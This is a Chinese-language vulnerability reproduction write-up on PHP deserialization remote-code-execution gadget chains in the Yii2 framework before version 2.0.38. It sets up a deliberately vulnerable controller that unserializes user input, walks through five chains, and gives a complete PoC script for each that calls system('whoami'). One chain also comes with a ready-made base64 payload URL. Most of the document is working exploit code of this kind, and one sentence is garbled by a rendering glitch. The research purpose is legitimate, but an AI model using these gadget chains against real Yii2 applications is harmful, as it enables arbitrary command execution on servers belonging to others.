环境搭建
漏洞在yii2.0.38之前的版本,下载2.0.37basic版本
https://github.com/yiisoft/yii2/releases/tag/2.0.37
修改/config/web文件的值
在当前目录输入php yii serve
启动
复现
先构造反序列化的入口
新建一个controller
<?php
namespace app\controllers;
class SerController extends \yii\web\Controller
{
public function actionSer($data){
return unserialize(base64_decode($data));
}
}
poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
提交
http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
分析
复现链一
入口是BatchQueryResult的destruct
跟进reset
这里的_dataReader
是可控的,并且调用了close方法,我们可以寻找有__call
方法的类,当此类的对象中调用不存在的方法时会调用__call方法
全局搜索__call
,找到\vendor\fzaninotto\faker\src\Faker\Generator.php
中可用的方法
close为无参函数,最终调用为format(close)
跟进format
继续跟进getFormatter
formatters
是我们可控的,所以这个函数的返回值是我们可控的,那么call_user_func_array
的第一个参数就是可控的,但第二个参数是空的,所以我们要找到可用的无参函数,或者单纯的调用phpinfo()这种无参函数。
可使用正则寻找无参函数
function \w+\(\)
大佬的思路是搜索call_user_func函数
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
rest/IndexAction.php比较好利用
checkAccess
和id
都是可控的,我们可以调用任意方法了。
复现链二
还是以BatchQueryResult类的__destruct为入口,但不利用__call
了,直接找可利用的close函数
找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法
跟进composeFields()
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
- 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数。
- 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。
有call_user_func($this->writeCallback, $this)
且writeCallback可控,然后再利用这个调用上面链里的run方法就行
poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$this->writeCallback=[new IndexAction(),'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
复现链三
https://github.com/yiisoft/yii2/compare/2.0.37…2.0.38
2.0.38,增加了__wakeup(),所以BatchQueryResult不能再反序列化了
那我们可以再找个新的反序列化入口
全局搜索__destruct
发现了RunProcess
类可以利用
跟进
这里的process是可控的,我们照样可以利用之前的链调用__call
方法
poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
利用成功
复现链四
lib\classes\Swift\KeyCache\DiskKeyCache.php
中的destruct也可以作为入口
跟进
其中涉及到了字符串拼接,可以寻找__toString
方法
see.php中的__toString
可以利用
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
}
$this->description
是我们可控的,这里又可以调用__call
了
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See
{
protected $description;
public function __construct(){
$this->description=new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache
{
private $keys = [];
private $path;
public function __construct(){
$this->path=new See();
$this->keys=array(
'hello'=>'world'
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
在寻找过程中发现还有的可以利用,但有的尝试后会错误,貌似是__toString中不能引起异常,有点迷…
然后看到了信师傅https://zhuanlan.zhihu.com/p/257811755说是视图错误不回显,命令是执行了的,但我试的那一个还是没成功运行命令,麻了…
复现链五
这个链之前有个比赛出过
同样也是vendor/codeception/codeception/ext/RunProcess.php
的__destruct
为入口
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
通过isRunning()调用__call
方法
之前是用vendor/fakerphp/faker/src/Faker/Generator.php
调用__call
方法,但新版本调用了wakeup做限制
public function __wakeup()
{
$this->formatters = [];
}
这里使用
**vendor/fakerphp/faker/src/Faker/ValidGenerator.php
**的类__call
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
$this->generator
,$this->validator
,$this->maxRetries
,都可控,但这没啥用,name的值固定了,所以还是利用只能这个调用其它函数的__call
,但再次调用其它的call不如直接就调用那个call。
不过vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
中的call可以返回任意值(default可控
可以将 t h i s − > d e f a u l t 设 置 为 我 们 的 命 令 , 那 r e s 的 值 就 是 我 们 的 命 令 , 再 控 制 this->default设置为我们的命令,那res的值就是我们的命令,再控制 this−>default设置为我们的命令,那res的值就是我们的命令,再控制this->validator为system就可以执行任意命令了
poc
<?php
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [] ;
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
}
namespace {
use Codeception\Extension\RunProcess;
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
exit();
}
参考
https://blog.csdn.net/qq_43571759/article/details/108804083
https://zhuanlan.zhihu.com/p/257811755
https://www.anquanke.com/post/id/217929#h2-3
https://xz.aliyun.com/t/9420